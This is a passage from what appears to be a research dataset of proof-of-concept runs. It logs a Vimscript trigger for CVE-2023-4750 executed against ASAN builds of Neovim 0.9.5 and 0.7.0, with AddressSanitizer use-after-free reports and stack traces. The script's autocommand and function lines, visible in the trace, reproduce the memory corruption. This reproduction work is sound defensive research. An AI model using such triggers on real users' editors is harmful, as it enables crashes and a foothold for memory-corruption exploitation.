-X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: comman!-narg=* Xexpr lex\n\nline 3: auto BufReadPre * exe\"sn\" ..expand(\"\") \n\nline 4: fu Xautocmd_changelist(cchar)\n\nline 9: call Xautocmd_changelist('c')\n\ncalling Xautocmd_changelist('c')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn1\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting: unlet! b:keymap_name\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim[9]..function Xautocmd_changelist:\nline    2:\nE201: *ReadPre autocommands must not change current buffer\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: lex'Xtestfil\ufffd2:4:4'\n\nline 3: unlet! b:keymap_name\n\n(1 of 1): 4\nXautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nline 10: cal Xautocmd_changelist('')\n\ncalling Xautocmd_changelist('')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn4\n\nExecuting: unlet! b:keymap_name\n\nline 2: unlet! b:keymap_name\n\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: lex'Xtestfil\ufffd2:4:4'\n=================================================================\n==31981==ERROR: AddressSanitizer: heap-use-after-free on address 0x62700000d020 at pc 0x0000005dffb3 bp 0x7ffc29306be0 sp 0x7ffc29306bd8\nREAD of size 8 at 0x62700000d020 thread T0\n    #0 0x5dffb2 in bt_quickfix /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3942:30\n    #1 0x9987dc in is_qf_win /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3837:7\n    #2 0x99858a in qf_find_buf /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3876:9\n    #3 0x984f91 in qf_update_buffer /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:3913:16\n    #4 0x982621 in qf_init_ext /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:1210:5\n    #5 0x98d2af in ex_cexpr /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:6970:15\n    #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #9 0xaffe4a in do_ucmd /home/zzw/Desktop/neovim/build/../src/nvim/usercmd.c:1725:9\n    #10 0x754534 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1612:13\n    #11 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #12 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #14 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #15 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #16 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #17 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #30 0x7f193f3c7082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x62700000d020 is located 10016 bytes inside of 12456-byte region [0x62700000a900,0x62700000d9a8)\nfreed by thread T0 here:\n    #0 0x4e042d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e042d)\n    #1 0x8a07c9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x5dbb0c in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:867:5\n    #3 0x5d9279 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:696:5\n    #4 0x5e9ed1 in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4286:3\n    #5 0x5e9d5d in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4269:5\n    #6 0x7ac9d9 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #7 0x734a66 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2291:13\n    #8 0x75c38f in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5270:9\n    #9 0x75f7aa in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5200:3\n    #10 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #11 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #12 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #13 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #14 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #15 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #16 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #17 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n\npreviously allocated by thread T0 here:\n    #0 0x4e0822 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0822)\n    #1 0x8a0803 in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:148:15\n    #2 0x5de2df in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1835:11\n    #3 0x5e9ab4 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:4235:19\n    #4 0x7ac9d9 in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4818:51\n    #5 0x734a66 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2291:13\n    #6 0x75c38f in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5270:9\n    #7 0x75f7aa in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:5200:3\n    #8 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #9 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #10 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #11 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #12 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #13 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #14 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #15 0x71220e in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3074:9\n    #16 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #17 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #18 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #19 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #20 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #21 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #22 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #23 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #24 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #25 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #26 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #27 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #28 0x7f193f3c7082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:3942:30 in bt_quickfix\nShadow bytes around the buggy address:\n  0x0c4e7fff99b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff99f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fff9a00: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fff9a50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==31981==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: set noautoread\n\nline 2: comman!-narg=* Xexpr lex\n\nline 3: auto BufReadPre * exe\"sn\" ..expand(\"\") \n\nline 4: fu Xautocmd_changelist(cchar)\n\nline 9: call Xautocmd_changelist('c')\n\ncalling function Xautocmd_changelist('c')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nError detected while processing function Xautocmd_changelist:\nline    2:\nE201: *ReadPre autocommands must not change current buffer\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: verboselex'Xtestfil\ufffd2:4:4'\n\nline    3:\nE492: Not an editor command: verboselex'Xtestfil\ufffd2:4:4'\nfunction Xautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nline 10: cal Xautocmd_changelist('')\n\ncalling function Xautocmd_changelist('')\n\nline 1: cal writefile(['Xtestfile2:4:4'],'Xerr')\n\nline 2:   edi Xerr\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750)\nExecuting BufReadPre Autocommands for \"*\"\nautocommand exe\"sn\" ..expand(\"\") \n\nExecuting: exe\"sn\" ..expand(\"\") \n\nExecuting: sn3\n\nExecuting: unlet! b:keymap_name\n\nline 2: unlet! b:keymap_name\n\nline 3: Xexpr'Xtestfil\ufffd2:4:4'\n\nline 3: verboselex'Xtestfil\ufffd2:4:4'\n\nE492: Not an editor command: verboselex'Xtestfil\ufffd2:4:4'\nfunction Xautocmd_changelist returning #0\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4750/CVE-2023-4750_nvim\n\nfinished sourcing CVE-2023-4750_nvim\ncontinuing in command line\nExecuting: :qa!\n=================================================================\n==32095==ERROR: AddressSanitizer: heap-use-after-free on address 0x6270000151e0 at pc 0x000000b23a48 bp 0x7ffce28d9ed0 sp 0x7ffce28d9ec8\nREAD of size 8 at 0x6270000151e0 thread T0\n    #0 0xb23a47 in buf_get_changedtick /home/zzw/Desktop/neovim/build/../src/nvim/buffer.h:115:41\n    #1 0xb23a47 in getout /home/zzw/Desktop/neovim/build/../src/nvim/main.c:641:13\n    #2 0x985083 in ex_quit_all /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6683:5\n    #3 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #4 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #5 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #6 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #7 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #8 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #9 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x6270000151e0 is located 224 bytes inside of 12416-byte region [0x627000015100,0x627000018180)\nfreed by thread T0 here:\n    #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n    #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x69fce4 in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:785:5\n    #3 0x69c1cb in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:618:5\n    #4 0x6c70fc in wipe_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5661:3\n    #5 0x6c6fc0 in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5644:5\n    #6 0xa1efce in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4971:51\n    #7 0x8f13e6 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2457:13\n    #8 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #9 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #12 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #13 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #14 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #15 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #16 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #17 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #18 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #19 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #20 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #21 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #22 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #23 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #24 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #25 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #26 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n    #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x6a4abc in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1762:11\n    #3 0x6c6c1f in buf_contents_changed /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:5610:19\n    #4 0xa1efce in buf_check_timestamp /home/zzw/Desktop/neovim/build/../src/nvim/fileio.c:4971:51\n    #5 0x8f13e6 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2457:13\n    #6 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #7 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #10 0x8b2736 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1110:5\n    #11 0x8af2a3 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1576:11\n    #12 0x8ad0a5 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:458:11\n    #13 0x8c7dc4 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2993:9\n    #14 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #15 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #16 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #17 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #18 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #19 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #20 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #21 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #22 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #23 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #24 0x7f0efc2c4082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.h:115:41 in buf_get_changedtick\nShadow bytes around the buggy address:\n  0x0c4e7fffa9e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffa9f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4e7fffaa20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4e7fffaa30: fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd\n  0x0c4e7fffaa40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4e7fffaa80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==32095==ABORTING", "creation_timestamp": "2026-09-06T13:23:27.575979Z"}, {"uuid": 